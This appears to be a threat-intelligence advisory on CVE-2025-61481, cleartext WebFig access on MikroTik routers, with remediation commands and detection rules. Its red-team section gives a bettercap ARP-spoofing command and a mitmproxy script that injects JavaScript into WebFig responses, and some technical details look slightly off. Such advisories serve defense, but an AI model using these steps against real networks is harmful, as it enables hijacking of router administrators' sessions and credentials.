CVE-2025-61481

Executive Summary

CVE-2025-61481 exposes a critical design flaw in MikroTik RouterOS v.7.14.2 and SwOS v.2.18, where the WebFig management interface is served over cleartext HTTP by default. This allows an on-path attacker to perform a Man-in-the-Middle (MitM) attack, injecting malicious JavaScript into the administrator’s browser session. The injected script can then intercept credentials, session tokens, and potentially execute further administrative actions. The vulnerability is unpatched at the time of analysis, and the CVSS score of 0.0 is likely a placeholder or error, as the actual risk is significant.

Supply Chain & Package Security

This vulnerability is not related to a software supply chain package (NPM, PyPI, etc.). It is a network-level configuration flaw in MikroTik’s embedded firmware.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, a realistic assessment based on the description yields:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – requires only network access.
• Privileges Required (PR): None (N) – no authentication needed to initiate the attack.
• User Interaction (UI): Required (R) – the administrator must be actively using WebFig.
• Scope (S): Unchanged (U) – the attacker cannot pivot to other systems via this flaw alone.
• Confidentiality (C): High (H) – credentials and session data are exposed.
• Integrity (I): Low (L) – injected JavaScript can modify page content or trigger actions.
• Availability (A): None (N) – no direct impact on availability.

Adjusted CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
Adjusted Score: 7.1 (High)

Deep Dive & Mechanics

The vulnerability stems from MikroTik’s default configuration, which serves the WebFig interface over HTTP (port 80) rather than HTTPS (port 443). This is a classic case of cleartext transmission of sensitive information (CWE-319).

Attack Flow:

1. An attacker gains a Man-in-the-Middle position on the network (e.g., via ARP spoofing, rogue Wi-Fi, or compromised router).
2. The administrator accesses the WebFig interface via http://<router-ip>.
3. The attacker intercepts the HTTP response and injects a malicious JavaScript payload (e.g., a keylogger or session hijacker).
4. The injected script runs in the administrator’s browser, capturing credentials, session cookies, or performing actions on the router.
5. The attacker exfiltrates the stolen data via a separate channel (e.g., DNS, HTTP request to attacker-controlled server).

Why This Works:

• HTTP traffic is unencrypted, allowing full visibility and modification.
• WebFig is a single-page application (SPA) that handles authentication and configuration, making it a high-value target.
• No HSTS or secure cookie flags are enforced by default.

Vulnerable vs. Patched Code

No patch is available. The vulnerable configuration is the default HTTP binding. A patched version would:

• Disable HTTP by default.
• Enforce HTTPS with a self-signed or user-provided certificate.
• Redirect all HTTP traffic to HTTPS.

Vulnerable Configuration (default):

# RouterOS CLI
/ip service set webfig disabled=no port=80

Patched Configuration (manual workaround):

# Disable HTTP WebFig
/ip service set webfig disabled=yes
# Enable HTTPS WebFig
/ip service set webfig-ssl disabled=no port=443
# Optionally, redirect HTTP to HTTPS (requires additional scripting)

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Attacker machine with bettercap or mitmproxy.
• Target network with a MikroTik router (v.7.14.2) and an administrator using WebFig.

Step-by-Step Exploit:

1. ARP Spoofing (using bettercap):

   sudo bettercap -eval "set arp.spoof.targets <router-ip>,<admin-ip>; arp.spoof on"
   

2. Intercept HTTP Traffic (using mitmproxy):

   mitmproxy --mode transparent --listen-port 8080
   

3. Inject JavaScript Payload (mitmproxy script inject.py):

   from mitmproxy import http
   def response(flow: http.HTTPFlow) -> None:
       if "webfig" in flow.request.pretty_url:
           flow.response.content = flow.response.content.replace(
               b"</head>",
               b'<script>document.cookie="PHPSESSID=attacker_session";</script></head>'
           )
   

4. Run mitmproxy with script:

   mitmproxy --mode transparent --listen-port 8080 -s inject.py
   

5. Capture Credentials: The injected script can log keystrokes or send cookies to an attacker server.

Blue Team (Defense & Detection)

Detection Steps:

• Monitor for ARP spoofing using arpwatch or IDS alerts.
• Check for unexpected HTTP redirects or modified page content.
• Use network traffic analysis to detect cleartext WebFig sessions.

Honeypot Setup:

• Deploy a fake WebFig interface on a separate port to lure attackers.
• Log all interactions for forensic analysis.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Cleartext HTTP traffic to port 80 on MikroTik routers.
  • Unexpected JavaScript in WebFig responses (e.g., eval() calls, XMLHttpRequest to external domains).
  • ARP cache entries with MAC addresses not matching the router’s vendor OUI.

• Host IOCs (on the router):

  • Unusual processes or scripts running in the background.
  • Modified /flash/webfig/ files (if accessible).
  • Unexpected outbound connections from the router.

• Log IOCs:

  • Repeated failed login attempts followed by a successful one (session hijacking).
  • WebFig access logs showing unusual user-agent strings.

Detection Engineering

YARA Rule

rule CVE_2025_61481_WebFig_HTTP_Injection {
    meta:
        description = "Detects injected JavaScript in MikroTik WebFig HTTP responses"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61481"
    strings:
        $injected_js = /<script[^>]*>.*?(document\.cookie|eval|XMLHttpRequest).*?<\/script>/ nocase
        $webfig_path = /\/webfig\// nocase
    condition:
        $webfig_path and $injected_js
}

Sigma Rule

title: Cleartext WebFig Access Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP access to MikroTik WebFig interface (cleartext)
author: Valters IT
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 80
        http.host: "*"
        http.url: "/webfig*"
    condition: selection
falsepositives:
    - Legitimate HTTP access if HTTPS is not enforced
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET 80 (msg:"CVE-2025-61481 - Cleartext WebFig Access"; flow:to_server,established; content:"/webfig"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable HTTP WebFig:

   /ip service set webfig disabled=yes
   

2. Enable HTTPS WebFig:

   /ip service set webfig-ssl disabled=no port=443
   

3. Generate a self-signed certificate (or import a trusted one):

   /certificate create name=webfig-ssl common-name=<router-ip> days=3650 key-size=2048
   /ip service set webfig-ssl certificate=webfig-ssl
   

4. Enforce HTTPS via firewall rules:

   /ip firewall filter add chain=input protocol=tcp dst-port=80 action=drop
   

Long-Term Fix:

• Monitor MikroTik’s official channels for a firmware patch.
• Implement network segmentation to isolate management interfaces.
• Use VPN or SSH tunneling for remote administration.

Valters IT Signature: This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence Division.